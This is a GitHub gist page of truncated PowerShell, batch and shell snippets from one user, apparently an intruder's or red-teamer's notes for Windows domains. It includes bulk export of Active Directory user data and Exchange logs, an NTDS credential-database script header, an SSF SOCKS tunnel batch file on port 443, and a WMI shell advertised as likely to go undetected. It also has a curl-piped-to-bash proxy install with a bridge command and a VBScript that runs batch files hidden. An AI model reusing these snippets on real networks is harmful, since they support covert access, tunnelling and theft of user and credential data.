Skip to content

Instantly share code, notes, and snippets.

@ffcommax
ffcommax / Export-Users_TO_CSV
Created June 26, 2019 09:42
Export-Users_TO_CSV
Import-Module ActiveDirectory
Get-ADUser -Filter * -Properties * | Select -Property EmailAddress,GivenName,Surname,DisplayName,Title,Department,Office,OfficePhone,MobilePhone,Fax,StreetAddress,City,State,PostalCode,Country | Export-CSV "C:\\users\\public\\ADusers.csv" -NoTypeInformation -Encoding UTF8
@ffcommax
ffcommax / Export-Exchange-Log
Created June 26, 2019 09:42
Export-Exchange-Log
Get-TransportService | Get-MessageTrackingLog -resultsize unlimited | export-csv -path c:\users\public\ExchangeLogs.csv
Get-MessageTrackingLog -Server tlex1 ` -Start (Get-Date).AddDays(-1) ` -End (Get-Date) ` -EventId Send
@ffcommax
ffcommax / CleanNTDS
Created June 26, 2019 10:09
CleanNTDS
param (
[string]$ntds = ""
)
write-host " CleanNTDSCleanNTDSCleanNTDS
CleanNTDSCleanNTDS" -ForegroundColor green
write-host " CleanNTDS
CleanNTDS" -ForegroundColor Yellow
write-host " CleanNTDSCleanNTDS
CleanNTDSCleanNTDSCleanNTDS" -ForegroundColor green
@ffcommax
ffcommax / SSF With Batch File
Created June 26, 2019 10:59
SSF With Batch File
@echo off
SET ssfdserver=8.8.8.8
SET ssfport=443
SET ssfsoucksport=8008
SET dic=c:\programdata\Clouds
SET server="http://server/ssf/"
if not exist %dic% mkdir %dic%
mkdir %dic%
1)Config And Start:
winrm quickconfig
2)Check:
sc query winrm
sc qc winrm
netsh http show servicestate
3)Listener On:
winrm get winrm/config
@ffcommax
ffcommax / Enter-WmiShell
Created July 13, 2019 15:16
Enter-WmiShell
function Enter-WmiShell{
<#
.SYNOPSIS
Creates a limited* interactive prompt to interact with windows machines in a sneaky way, that is likely to go unnoticed/undetected. Use
the command "exit" to close and cleanup the session; not doing so will leave data in the WMI namespaces.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: Out-EncodedCommand, Get-WmiShellOutput
@ffcommax
ffcommax / RDP PortNumber in Reg
Created July 14, 2019 08:24
RDP PortNumber in Reg
REG QUERY "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
@ffcommax
ffcommax / GoProxy
Last active December 31, 2019 12:25
GoProxy
curl -L https://raw.githubusercontent.com/snail007/proxy_admin_free/master/install_auto.sh | bash
proxy-admin start
proxy-admin stop
proxy-admin restart
Server:
proxy bridge -t tcp -p :30000
@ffcommax
ffcommax / Running .BAT or .CMD files hidden (invisible mode) Using Script
Created July 27, 2019 18:12
Running .BAT or .CMD files hidden (invisible mode) Using Script
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\Batch Files\syncfiles.bat" & Chr(34), 0
Set WshShell = Nothing
@ffcommax
ffcommax / SMTP
Created July 29, 2019 07:36
SMTP
smtp.office365.com
587